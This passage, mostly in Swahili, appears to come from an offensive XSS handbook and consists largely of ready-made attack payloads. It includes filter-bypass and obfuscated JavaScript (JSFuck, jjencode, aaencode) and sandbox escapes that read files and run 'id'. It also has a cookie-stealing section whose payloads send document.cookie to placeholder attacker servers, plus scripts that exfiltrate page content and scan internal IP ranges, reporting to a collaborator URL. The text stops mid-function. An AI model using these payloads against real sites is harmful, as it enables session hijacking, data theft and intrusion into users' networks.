parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Vikosi vya DOM

Kuna kodiyaki ya JS inayotumia data zisizo salama zinazodhibitiwa na mshambuliaji kama location.href. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka. Kwa sababu ya upanuzi wa maelezo ya vikosi vya DOM, imehamishwa kwenye ukurasa huu:

DOM XSS

Hapa utapata maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi. Pia, usisahau kwamba mwishoni mwa chapisho lililotajwa unaweza kupata maelezo kuhusu shambulio la DOM Clobbering.

Kuboresha Self-XSS

Cookie XSS

Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata subdomain iliyo hatarini kwa XSS, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:

Cookie Tossing

Unaweza kupata matumizi makubwa ya mbinu hii katika chapisho hili la blog.

Kutuma kikao chako kwa admin

Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.

Kurefusha Kikao

Ikiwa unapata self XSS na ukurasa wa wavuti una kurefusha kikao kwa wasimamizi, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.

Unaweza kumfanya msimamizi achochee self XSS yako na kuiba cookies/kikao chake.

Njia Nyingine za Kupita

Unicode Iliyosawazishwa

Unaweza kuangalia ikiwa thamani zilizorejelewa zina sawasishwa kwa unicode kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. Pata mfano hapa.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Kwa sababu ya RoR mass assignment nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya lebo. Mfano wa fomu (kutoka ripoti hii), ikiwa utatuma payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

The pair "Key","Value" itarudi kama ifuatavyo:

{" onfocus=javascript:alert('xss') autofocus a"=>"a"}

Kisha, sifa ya onfocus itaingizwa na XSS inatokea.

Mchanganyiko maalum

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS na uingizaji kichwa katika jibu la 302

Ikiwa unapata kwamba unaweza kuingiza vichwa katika jibu la 302 Redirect unaweza kujaribu kufanya kivinjari kifanye JavaScript isiyo na mipaka. Hii sio rahisi kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.

Katika ripoti hii na hii moja unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili. Protokali zilizojulikana zamani: mailto://, //x:1/, ws://, wss://, kichwa cha Location kisicho na kitu, resource://.

Herufi, Nambari na Nukta Pekee

Ikiwa unaweza kuonyesha callback ambayo javascript itakuwa inafanya ikipunguzia herufi hizo. Soma sehemu hii ya chapisho hili ili kujua jinsi ya kutumia tabia hii.

Aina za Maudhui Halali za <script> kwa XSS

(Kutoka hapa) Ikiwa unajaribu kupakia script yenye aina ya maudhui kama application/octet-stream, Chrome itatoa kosa lifuatalo:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Aina pekee za Content-Type ambazo zitaruhusu Chrome kuendesha script iliyopakiwa ni zile zilizo ndani ya const kSupportedJavascriptTypes kutoka https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(From here) Hivyo, ni aina gani zinaweza kuashiria kupakia script?

<script type="???"></script>

The answer is:

• module (default, hakuna cha kuelezea)

• webbundle: Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili .wbn.

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP

• importmap: Inaruhusu kuboresha sintaksia ya kuagiza

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Hali hii ilitumika katika hii ripoti kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.

• speculationrules: Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web Content-Types to XSS

(From here) Aina zifuatazo za maudhui zinaweza kutekeleza XSS katika vivinjari vyote:

• text/html

• application/xhtml+xml

• application/xml

• text/xml

• image/svg+xml

• text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF)

• application/rss+xml (off)

• application/atom+xml (off)

Katika vivinjari vingine Content-Types nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria namespace na kutekeleza JS isiyo na mipaka:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Mifumo Maalum ya Kubadilisha

Wakati kitu kama "some {{template}} data".replace("{{template}}", <user_input>) kinatumika. Mshambuliaji anaweza kutumia mabadiliko maalum ya nyuzi kujaribu kupita baadhi ya ulinzi: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Kwa mfano katika hii andiko, hii ilitumika ku kutoa nyuzi za JSON ndani ya script na kutekeleza msimbo wa kiholela.

Kumbukumbu ya Chrome hadi XSS

Chrome Cache to XSS

Kukwepa XS Jails

Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ikiwa kila kitu hakijafafanuliwa kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika hii ripoti) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika wa kiholela:

• Kutumia import()

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

• Kupata require kwa njia isiyo ya moja kwa moja

Kulingana na hii moduli zimefungwa na Node.js ndani ya kazi, kama hii:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Kwa hivyo, ikiwa kutoka kwenye moduli hiyo tunaweza kuita kazi nyingine, inawezekana kutumia arguments.callee.caller.arguments[1] kutoka kwa kazi hiyo kufikia require:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

Kwa njia sawa na mfano uliopita, inawezekana kutumia waandishi wa makosa kufikia wrapper ya moduli na kupata require kazi:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

• Obfuscations tofauti katika ukurasa mmoja: https://aem1k.com/aurebesh.js/

• https://github.com/aemkei/katakana.js

• https://ooze.ninja/javascript/poisonjs

• https://javascriptobfuscator.herokuapp.com/

• https://skalman.github.io/UglifyJS-online/

• http://www.jsfuck.com/

• JSFuck yenye ujuzi zaidi: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce

• http://utf-8.jp/public/jjencode.html

• https://utf-8.jp/public/aaencode.html

• https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>

//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

//aaencode
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

// It's also possible to execute JS code only with the chars: []`+!${}

XSS common payloads

Several payloads in 1

Steal Info JS

Iframe Trap

Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):

Iframe Traps

Retrieve Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una njia kadhaa za kupita ulinzi huu ikiwa umebahatika.

Pora Maudhui ya Ukurasa

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Pata IP za ndani

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
